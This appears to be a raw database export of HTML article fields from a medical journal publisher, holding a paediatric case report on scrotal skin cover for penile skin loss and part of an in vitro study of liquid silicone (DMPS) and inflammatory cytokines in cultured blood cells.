style=\"font-family:Times New Roman,Times,serif\"><strong>Dinesh H Kittur<sup>1</sup>, Sudhakar Jadhav<sup>2</sup></strong><strong>, Santosh Patil</strong><strong><sup>2</sup></strong><strong>, Kant Shah</strong><strong><sup>2</sup></strong><strong>, </strong><strong>Kailas Bhandarkar</strong><strong><sup>2,3,*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Ankur Pediatric Surgical Clinic, Rajarampuri Kolhapur, Maharashtra, India</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2*</sup>SJKC Trust&rsquo;s Paediatric Surgery Centre &amp; Postgraduate Institute, Sangli, Maharashtra, India</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>3*</sup>Evelina London Children&rsquo;s Hospital, Westminster Bridge Road, Lambeth, London, United Kingdom</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>:<strong> </strong>Kailas Bhandarkar, Evelina London Children&rsquo;s Hospital, Westminster Bridge Road, Lambeth, London, United Kingdom. Tel: +447551974013; Email: <a href=\"mailto:drbhandarkar@hotmail.com\">drbhandarkar@hotmail.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Bhandarkar K, Kittur DH, Jadhav S, Patil S, Shah K (2018) Scrotal Skin Cover for Penile Skin Loss Secondary to Penile Cellulitis-A Case Report. J Urol Ren Probl: JURP-100001.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>16<strong> </strong>November, 2018; <strong>Accepted Date:</strong> 22 November, 2018; <strong>Published Date:</strong> 30 November, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Penile skin lossusually follows industrial accident, or fournier&rsquo;s gangrene. This is a report of an eleven year old boy who presented with Type I diabetes and severe penile cellulitis with sepsis which eventually led to loss of glans and the whole of the penile skin due to gangrene. After control of his diabetes and infection, the penis was given a cover of scrotal skin in two stages, under cover of a suprapubic cystostomy. The patient made an good recovery and had an excellent cosmetic outcome.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">At five year follow up, his diabetes is under control and the repaired penile skin cover is healthy. He does not have any urinary symptoms. His main concern is the short penile length, for which he has been counselled.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords</strong><strong>:</strong><strong> </strong>Fournier&rsquo;s gangrene, Penile sepsis, Penile skin reconstruction, Scrotal skin cover for penile skin loss</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Penile skin loss is commonly reported in adults following an industrial accident, where the scrotal skin also gets avulsed [1]. Loss&nbsp; of penile&nbsp; skin has been reported both in adults as well as children following fournier&rsquo;s gangrene<sup> </sup>[2,3]. Various methods have been used to cover the defect which include&nbsp; skin of the forearm, inguinal region, scrotum and the thigh. We report a case of a type I diabetic child who had loss of glans and penile skin following severe infection and urinary tract infection. The bare penis was provided with a skin cover using the scrotal skin, in two stages using a very simple method. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Case report</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This is a report of a circumcised eleven year old boy who was admitted with penile cellulitis and darkeningcolour of the glans and purulent discharge from the penile skin. Investigations revealed that he had type I diabetes, UTI and pus culture revealed E Coli sensitive to Ceftriaxone and Amikacin.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The boy was treated with intravenous insulin, diabetic diet, antibiotics, packed cell transfusion and dressings. After a week, his diabetes was well under control.&nbsp; The glans and the penile skin had become gangrenous. Under general anaesthesia, the penile skin and part of the glans were debrided. The penile shaft was left bare and part of the glans was lost (Figure 1) Suprapubic cystostomy was added. Penile skin was reconstructed in two stages. During the first stage, a rectangular scrotal flap was raised in the midline, under which the penis was buried (Figure 2). The length and the width of the flap was designed bearing in mind the length of penile shaft and half its circumference. The base of the scrotal skin flap was sutured to the penile basal skin from 9&rsquo;0 clock to 3&rsquo;0 clock position. Similarly the distal scrotal skin flap edge was sutured to the penile shaft from 9&rsquo;0 clock to 3&rsquo;0 clock position. The urethral opening was left exposed. After a week the scrotal skin flap covering the penile shaft was healthy, with no discharge (Figure 3).The patient was sent home for 6 weeks after which he was readmitted for the 2<sup>nd</sup> stage reconstruction. His haemogram and blood sugar were repeated and confirmed to be within normal limits.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Under general anaesthesia, the flap was raised on either side of the penile shaft and the loose skin wrapped around the ventral side of the shaft and sutured in the midline in two layers with 4.0 polyglactin and polypropylene sutures. The scrotal wound was closed primarily with similar sutures (Figure 4). After ten days when the healing was complete, the suprapubic catheter was removed. The patient did not have any voiding difficulty. He has been on regular follow up and has good control of diabetes. Follow up after 5 years (current age 16 years) he has reported good stream of urine and erection episodes. His only anxiety is the small size of his penis. We have counselled him that his penile size is adequate for sexual intercourse.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">If a child presents with severe sepsis, presence of diabetes though rare should always be entertained. When present, the diabetes should be controlled and debridement should be radical even if it amounts to loss of penile skin. A variety of skin grafts and flaps have been used as a cover for penile skin loss after accidents or iatrogenic injuries<sup> </sup>[4,5,6].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In our patient a simple flap from scrotal skin was used to cover the bare penis. Scrotal skin has various advantages including proximity, ease of harvesting and laxity which makes it rather ideal for penile skin reconstruction [7]. The method we have described is easy to learn and graft take is also predictable. Scrotal flap is a procedure which is easy and safe, besides providing adequate cosmesis and function. It also offers a large amount of skin with minimal morbidity of donor site.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Penile Skin loss whatever be its cause, needs a skin cover at the earliest. Scrotal skin fulfils all the criteria necessary for an ideal penile flap and can be performed by a Paediatric Surgeon without requiring exceptional skills of a Plastic surgeon.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.4103/2141-9248.153629\">Onumaegbu OO, Okechukwu OC (2015)&nbsp; Isolated penile degloving from milling machine injury in a child. Ann Med Health Sci Res. 5: 139-141</a>.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19378828\">Anchi T, Tamura K, Inoue K, Ashida S, Yasuda M, et al. (2009) Localized Fournier&#39;s gangrene of the penis: a case report. Hinyokika Kiyo 55: 153-156.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/9358795\">Basoglu M, G&uuml;l O, Yildirgan I, Balik AA, Ozbey I, et al. (1997) Fournier&#39;s gangrene: review of fifteen cases. Am Surg 63: 1019-1021.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ijscr.2016.10.031\">Innocenti A, Tanini S, Mori F, Melita D, Innocenti M (2016) Scrotal dartos-fascio-myo-cutaneous flaps for penis elongation after catastrophic iatrogenic skin shaft sub-amputation: A case of recovery using an extremely adaptable flap. Int J Surg 28: 300-302.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/sap.0000000000000051\">Xiao K, Cheng K, Song N (2014) A new surgical procedure for phallic reconstruction in partial penis necrosis: penile elongation in combination with glanuloplasty. Ann Plast Surg 72: 638-642.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.jpurol.2016.02.022\">Diaz&nbsp; EC, Corcoran JF, Johnson EK (2016) Pediatric penile reconstruction using autologous split thickness skin graft. J Pediatr Urol 12: 185-186.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/19271074\">Zhuo Q, Li S, Wu J, Wang Z, Yang D, Tao L (2009) Clinical application of scrotal flap on penis lengthening. Saudi Med J 30: 418-420.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/43b3fab4.jpg\" style=\"height:250px; width:327px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> &nbsp;Intraoperative picture showing the debrided scrotal skin.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/44f7b06c.jpg\" style=\"height:245px; width:326px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong> &nbsp;Drawing showing the preparation of skin flaps (see text for details).</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/450771c9.jpg\" style=\"height:248px; width:328px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3:</strong> Shows early post-postoperative appearance after the first stage procedure.</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/4668e7db.jpg\" style=\"height:249px; width:329px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4:</strong> Intraoperative picture after the second stage.</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Bhandarkar K, Kittur DH, Jadhav S, Patil S, Shah K (2018) Scrotal Skin Cover for Penile Skin Loss Secondary to Penile Cellulitis-A Case Report. J Urol Ren Probl: JURP-100001.</span></span></p>\r\n','','1543423301.pdf',NULL,'1543423301.jpg','',0,1,'2018-11-28 22:11:41','2018-11-28 22:13:17',1),(26,24,'20','2018','Interaction between Dimethylpolysiloxane and Autologous Plasma Triggering in Vitro Inflammation in Cultured PBMC','Harlim A1*, Mujadid F2 and Wibowo H3','Research Article','Interaction-between-Dimethylpolysiloxane-and-Autologous-Plasma-Triggering-in-Vitro-Inflammation-in-Cultured-PBMC','Interaction-between-Dimethylpolysiloxane-and-Autologous-Plasma-Triggering-in-Vitro Inflammation in Cultured PBMC','Interaction between Dimethylpolysiloxane and-Autologous-Plasma-Triggering-in-Vitro-Inflammation-in-Cultured-PBMC','Interaction-between-Dimethylpolysiloxane-and-Autologous-Plasma-Triggering-in-Vitro-Inflammation-in-Cultured-PBMC','<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:18px\">Current Updates in Dermatological Problems</span></strong></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Interaction between Dimethylpolysiloxane and Autologous Plasma Triggering <em>in Vitro </em>Inflammation in Cultured PBMC</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Harlim A<sup>1*</sup>, Mujadid F<sup>2</sup> and Wibowo H<sup>3</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1*</sup>Departement of Dermatovenereology, Christian University of Indonesia, Gajah mada 193A, Jakarta 1120, Indonesia</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2</sup>PT Kimia Farma (persero), Tbk. Jakarta, Indonesia</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>3</sup>Departement of Parasitology and Research Laboratory, University of Indonesia, Jakarta, Indonesia&nbsp; </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author: </strong>Harlim A, Departement of Dermato and Venereology, Christian University of Indonesia, Indonesia. Tel: +62816854083; Email: <a href=\"mailto:agoharlim@yahoo.com\">agoharlim@yahoo.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Harlim A, Mujadid F, Wibowo H (2018) Interaction Between Dimethylpolysiloxane and Autologous Plasma Triggering <em>in Vitro </em>Inflammation in Cultured PBMC. Curr Updates Dermatol Probl: CUDP-100001. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>30 October, 2018; <strong>Accepted Date: </strong>12 November, 2018; <strong>Published Date: </strong>06 December, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The data obtained from this study try to explain the mechanism of cellular immune response of dmps-injected recipients with in vitro-based method to get the description of immune responses that occurs in the body due to exposure to dmps which can lead to granuloma formation, followed by fibrosis. pbmc is taken from normal patients and patients with granulomas due to injection of dmps. And then, it was cultured for 72 hours with rpmi treatment as a negative control, pha and lpsas a positive control, dmps only and dmps with the addition of autologous plasma. The purpose of the pbmc culture was to describe the activity of tnf-a, ifn-&gamma;, il-6, il13, il-10 and pbmc proliferation. There was no significant increase (p&gt; 0.05) in proliferation of lymphocytes and monocytes in the dmps-treated group, both in normal patients and patients with granulomas. The role of autologous plasma was not observed in increasing cell proliferation. Nonetheless, autologous plasma had a role in increasing activity of tnf-a and il-6 significantly (p &lt;0.05) in response to dmps exposure in both of patients. The data of this study indicated that dmps was able to trigger non specific inflammatory activity mediated by tnf-a and il-6 and it depended on each individual plasma proteins. Specific cellular immune response due to dmps exposure, as lymphocyte and monocyte proliferation, was not observed.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords</strong><strong>:</strong> DMPS; Lymphocyte; Monocyte; TNF-a; IL-6; PBMC</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dimethylpolysiloxane (DMPS) or better known as liquid silicone is a synthetic polymer that contains silicone element and was introduced in the UK in early 1900. DMPS was used as a cosmetic ingredient and filling material in body reconstruction, based on its special chemical physical properties. As a filling material, DMPS has higher viscosity than water, but lower than other filling materials, and stable in a wide range of individual body temperature. Acute toxicity study of DMPS by FDA was revealed that DMPS was not toxic. Therefore, it is used widely in pharmaceutical, medical and cosmetic purposes. In addition, other biocompatible polymers, such as fat, hyaluronic acid, collagen, poly-L-lactic acid, and calcium hydroxyl apatite are not as good as DMPS [1,2].Initially, DMPS was not considered as an antigenic element, so that DMPS was recommended as a filling material and not expected to cause inflammation, but it was not entirely correct. Some cases showed that DMPS was not completely inert to biological systems. Face injection with DMPS on a few individuals cause chronic inflammation [1]. At injection site, granuloma was formed and followed by fibrosis within a period of six-month up to 28 years after the application of DMPS. In some cases, granuloma formation did not occur after injection of DMPS [2-5]. In Indonesia, The Indonesian Association of Plastic Surgeons (PERAPI) reported 249 cases of inflammation due to the use of liquid silicone in the past three years to 2009 and stated that the cases were only 15% of the total incidents [6]. Inflammation that occurs can be caused by several possibilities. First, the inflammation occurs as a result of injecting errors or contaminants contained in DMPS.<sup>1</sup> If so, inflammation appearing after DMPS application cannot be considered as a specific result caused by DMPS exposure. Second, inflammation may be caused by silica which is the result of oxidation of DMPS in the tissue. Silica is known as a causative factor of inflammation through the activation of Nod-like receptor (NLR) in macrophages. Activation of NALP3 inflammasom due to the interaction between silica with NLR will induce the secretion of IL-1&beta; by macrophages which is one of inflammatory mediators [7]. However, DMPS is a stable material, so the oxidation process is doubtful whether it will happen or not in the body [1]. DMPS is a polymer molecule that has the possibility to be recognized by B lymphocytes and activated through the T-independent pathway. This is supported by a research conducted by Kossovsky et al [8] who discovered the presence of antibodies with high avidity in patients with silicone breast implants, with an incidence of 1.7% of population. The antibodies caused deposition of complement proteins and initiated a inflammation through increasing of vascular permeability, histamine secretion by mast cells, and recruitment of inflammatory cells [9]. Iribarren et al [4] also showed that in vivo exposure to DMPS was able to induce macrophages to secrete Nitric Oxide (NO) which is one of the inflammation mediators. In addition, DMPS also potentially increase the expression of the receptor V&beta; chain of T lymphocytes that plays a role in the incidence of cytokines storm [2]. Based on all of the data, immunogenicity status of DMPS should be reexamined. Immunogenicity of DMPS could be evaluated through both non-specific immune system and the specific immune system in the body. In vitro-approached through PBMC (Peripheral Blood Mononuclear Cells) cultured, followed by evaluation of cytokine secretion could be used to observe the cellular immune response arising from DMPS exposure. In addition, the data about PBMC proliferation, particularly lymphocytes, due to DMPS exposure could be used as a parameter to observe reactivity of specific immune system with DMPS.The role of DMPS in inflammation could be observed through the ability of this molecule to induce both non-specific and specific immune system to secrete pro-inflammatory cytokines, i.e. IFN-&gamma;, TNF-&alpha; and IL-6. These cytokines play an important role in inflammation as a response to antigen exposure in the tissue. Persistence of DMPS in the tissue caused the inflammation continue until the activity of IL-10 as a regulator of inflammation appeared. At a later stage, polarization of Th lymphocyte subsets towards Th2 was regulated by IL-6 [7]. The predominance of Th2 lymphocyte subsets could be characterized by the activity of IL-13 which was also a potency indicator of DMPS for triggering fibrogenesis in tissues [10]. Thus, dynamic activity of these cytokines could represent immune responses to DMPS exposure at every stage.Beside secretion of cytokines, the dynamic of Peripheral Blood Mononuclear Cells (PBMC) population can be a parameter to determine the components of the immune system that play a role in immune response after DMPS exposure which then determine the immunogenicity of DMPS. Thus, cytokine secretion and the dynamic of PBMC population after DMPS exposure can become parameters whether inflammation is caused by the immunogenicity of DMPS and show that DMPS is a complete antigen.&nbsp; </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Method</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.&nbsp;</strong><strong>Reagents:</strong><strong> </strong>Phosphate Buffer Saline (PBS) pH 7,2, Ficoll-paque, RPMI 1640 Gibco, Phytohaemmaglutinin (PHA) Gibco, Lipopolysaccharide (LPS) Sigma Aldrich, Dimethylpolysiloxane 1000 cs, fetal bovine serum, Acridine Orange (AO), Trypan blue, Milliplex Map Kit #MPXHCYTO-60K, and microtube 1,5 ml Axygen.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.&nbsp;</strong><strong>Subject:</strong><strong> </strong>Subjects that contributed in this research were 22 women donor who had been requested approval for their blood sample as much as 6 ml. The 11 subjects have been undergoing granuloma due to DMPS injection for a case group, whereas blood samples from 11 health women with no history of DMPS injection and granulomas as a control group. Cut off point of normal silicone level, that had been conducted by Harlim (Unpublished) was less than 437 &micro;g / g&nbsp; of tissue.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.3.&nbsp;</strong><strong>PBMC Isolation and Culture: </strong>A total of 6 ml of blood subjects was collected in heparinized-tubes. PBMC isolation performed by gradient centrifugation using Ficoll at 2125 RPM, for 20 minutes and without braking. Then, cells were washed using PBS. PBMC obtained was cultured in complete medium, that contained RPMI 1640 medium, 10% Fetal Bovine Serum (FBS) and 1% penicillin-streptomycin. PBMC concentration in the culture is as much as 4x10<sup>6</sup> viable cells/ml [10, 11]. There are five treatment groups of culture, the negative control (RPMI), Positive Control Phytohaemagglutinin (PHA), positive control Lipopolysaccharide (LPS), DMPS exposure group that were cultured with complete medium (DMPS)and DMPS exposure group with the addition of 10% autologous plasma of patients that have been inactivated (DMPS+AP). Culture group was incubated at 37&deg;C, 5% CO<sub>2</sub> for 72 hours to observe the secretion of cytokines and lymphocyte proliferation.<sup>39</sup> Supernatant of PBMC culture was harvested and stored at -80&deg;C. IFN-&gamma;, TNF-&alpha;, IL-6, IL-13 and IL-10 were measured by using Milliplex Map Kit #MPXHCYTO-60K. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.4. Ratio of PBMC Population: </strong>Lymphocyte proliferation was observed as increasing ratio of lymphocytes to the total number of PBMC. Total number of PBMC before and after culture were calculated using Hemocytometer plate. Identification of PBMC population conducted by Acridine Orange staining technique (AO) with a concentration of 6.76 &micro;M [12]. Observations were made using a fluorescent microscope with 495 nm wavelength. (Figure 1) Through the identification, the ratio of lymphocytes in PBMC populations for 72 hours post culture was then obtained. Total number of PBMC calculated using Trypan blue staining.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Result</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Totally, 11 patients with granuloma due to silicone injection and 11 patients who had never been injected with silicone (normal) as the subjects of this study. Silicone level in granuloma tissue and skin was checked to ensure that the patient had received DMPS injection previously. DMPS levels of patients with granuloma were 2444.2 &plusmn; 3091.88 mg/g tissue, whereas DMPS levels of normal patients were 41.76 &plusmn; 62.65 &micro;g/g tissue. (Figure 2) showed that the immune response against the DMPS was dominated by the ratio of TNF-&alpha;/IL-10 and IL-6/IL-10, but not by IFN-&gamma;/IL-10. These cytokines were greatly influenced by autologous plasma components, both in normal patients and patients with granulomas. In normal patients and patients with granulomas, ratio of TNF-&alpha;/IL-10 and IL-6/IL-10 from the DMPS + AP group was higher significantly (p &lt;0.05) than negative control and DMPS group.PBMC cultures with PHA treatment had highest levels of IL-13 both in normal patients and patients with granulomas, 71.7 &plusmn; 21.7 pg/ml and 30.4 &plusmn; 104,2 pg/ml, respectively, but did not differ significantly (p&gt;0.05) with control negative group. The lowest levels of IL-13 wasshown in DMPS+AP group both in normal patients and patients with granulomas, 17.3 &plusmn; 1.7 pg/ml and 15.5 &plusmn; 3 pg/ml respectively, but still did not differ significantly (p&gt; 0.05) with control negative group.(Figure 3) showed that DMPS could not induce IL-13 secretion by PBMC. In addition, there was no significant effect (p&gt; 0.05) of autologous plasma in PBMC activity to secrete IL-13, both in normal and granuloma patients. Increasing ratio of TNF-&alpha;/IL-10 and IL-6/IL-10 as a result of DMPS exposure both in normal patients and patients with granulomas had significantly positive correlation (p &lt;0.05) with persistency of non-specific immune system components which were dominated by monocytes (Figure 4). </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dimethylpolysiloxane (DMPS) is a filling material with better biocompatibility than other molecules with the same function, such as polyurethane.<sup>2</sup> Stability of chemical properties of DMPS makes it difficult to degrade in the tissue. In addition, DMPS was not toxic for humans. Therefore, DMPS is considered inert to the body systems, so that it is used widely in medical applications. Nonetheless, granuloma formation as a response of immune system against DMPS is found with diverse clinical onset, that DMPS is considered not fully inert [1-3]. Initial response that occurs when DMPS was injected into the body is the plasma protein adsorption which then triggers activation of the extrinsic and intrinsic coagulation system, the complement system, the fibrinolytic system, kinin system and platelets. Activation pathway of proteins adsorped on the surface of DMPS was known as Vroman effect [8]. This process generated the conditions in DMPS-injected area filled by various chemokines, cytokines, growth factors and various other substances that could modulate the immune system to trigger acute inflammation [13]. Surface of DMPS which is coated with proteins matrix then triggers infiltration of non-specific immune system components such as neutrophils, mast cells and monocytes. Monocyte attachment on DMPS surface occurs due to interaction between the &beta;2 integrin receptor and ligands such as fibrinogen, fibronectin, IgG and complement protein, particularly C3b fragment. Integrin interaction with the ligands will initiate cytoskeleton remodeling, so adhesion of monocytes will be stronger, activate and secrete inflammatory cytokines, such as TNF-&alpha; and IL-6. Cellular immune response mediated by monocytes causes the activation of other inflammatory cells, such as neutrophils and lymphocytes, and then resulting in inflammation, synergistically [8]. In the tissue, DMPS-containing vacuoles is much bigger than the monocytes. As a result, histiocytosis occur (monocytes fusion), in order to localize and degrade DMPS. Monocyte fusion process also can occur <em>in vitro </em>[14]. DMPS, a stable molecule, is difficult to degrade, so monocytes attached persistently on the surface of DMPS and sustain their activity. Therefore, chronic inflammation will occur in the tissue. In this condition, shifting dominancy from Th1 in acute phase into Th2 in chronic phase occurs. Then, IL-4 and IL-13 which are products of Th2 lymphocytes interact with &beta;1 integrin receptors on monocytes or macrophages activating these cells to become histiocytes. In addition, persistent activity of monocytes triggers oxygen and nitrogen radicalsproduction which can cause tissue necrosis around DMPS deposits [15].The observation of PBMC population using acridine orange staining showed that autologous plasma was able to maintain non-specific immune system components, which were dominated by monocytes in PBMC population. This is related to the interaction of non-specific immune system components, particularly monocytes with various plasma proteins involved in Vroman effect [8]. Moreover, the persistence of monocytes can be mediated by the activity of TNF-&alpha; that maintains monocytes in their activation state [16,17]. This process indicates that DMPS potentially causes persistency and activation of monocytes in the tissue in autologous plasma milieu.Pathological conditions in patients who have been injected with DMPS are preceded by inflammation, and followed by fibrogenesis. At acute phase, TNF-&alpha; and IL-6 have an important role [7]. TNF-&alpha; has autocrine and paracrine effect in the activation of macrophages in the inflamed tissue due to DMPS exposure, and improves the ability of macrophage to engulf DMPS (phagocytosis), whereas IL-6 triggers the recruitment of inflammatory cells, such as neutrophils to the DMPS-injected site and synthesizes acute phase of protein in the liver [7]. Korn et al [16] hypothesize that the immune system in a static condition, without any stimulus from antigen, will produce TGF-&beta; which then induces the formation of Treg population in the periphery. When antigen is infecting the body, it will lead acute phase of proteins synthesis and inflammation begins with IL-6 induction.&nbsp; The activity of IL-6 then suppresses Treg differentiation and drives naive T lymphocytes to differentiate into Th17, so that inflammation occurs in the antigen penetration site.At a later stage, IL-6 will drive the inflammatory process to a chronic phase by supporting the activity of Th1 to secrete pro inflammatory cytokines, but on the other hand, IL-6 suppresses the activity of IL-12, that differentiation process of naive T lymphocyte into Th1 stops [7]. This condition will cause repetitive inflammation, but gradually, the balance of Th lymphocyte subsets activity will be shifted to Th2 lymphocyte subset.In this study, the predominant immune response due to DMPS exposure was seen in TNF-&alpha; and IL-6 activity, with highest ratio of TNF-&alpha;/IL-10 and IL-6/IL-10. The activity of both cytokines correlated with the non-specific immune system components in cultured PBMCs which was dominated by monocytes. Nevertheless, the activity of non-specific immune system seemed to be dominant in autologous plasma milieu. This suggested that the DMPS could trigger inflammatory responses, performed by non-specific immune system components in cultured PBMCs. Plasma-dependent of the non-specific immune system to trigger inflammation was proved by a significantly increasing (p&lt;0.05) ratio of TNF-&alpha;/IL-10 and IL-6/IL-10 in DMPS group after the addition of inactivated autologous plasma (Figure 2a,2b)In normal patients, ratio of TNF-&alpha;/IL-10 and IL-6/IL-10 produced from DMPS+AP group were higher than patients with granulomas (Figure 2a,2b). It means, that IL-10 had a higher activity in patients with granulomas compared to normal patients in terms of regulating the activity of TNF-&alpha; and IL-6. This condition could be caused by differences in the characteristics of autologous plasma between normal patients and patients with granulomas. Patients with granulomas have plasma characteristics with dominant Th2 lymphocytes, such as IL-10, TGF-&beta;, and IL-4 when entering fibrosis phase [18]. In normal patients with inflammatory plasma characteristics, inflammatory reaction is more prominent when exposed to DMPS, compared with patients with granuloma.In this study, the activity of IFN-&gamma; by T lymphocytes was not dominant. It indicates that there is no role of T lymphocytes, particularly Th1 lymphocyte subsets through the activity of IFN-&gamma; in inflammatory reaction due to DMPS exposure. Th lymphocyte activation may occur if the synapses between Antigen Presenting Cells (APC) with Th lymphocytes are formed and generating three signals derived from interaction of MHC class II-antigens complex with The lymphocyte receptors, costimulator signals (e.g. B7 interaction with CD28), and cytokines. Antigen can be recognized by Th lymphocytes if it is peptide antigen and its chemical complexity will determine how strong the response will be generated by the Th lymphocytes. DMPS is non-peptide polymers, so it will lead T-independent pathway [9]. Moreover, the research conducted by O&rsquo;Hanlon et al [19] showed that reassembling of amino acid at CDR3 region in Th 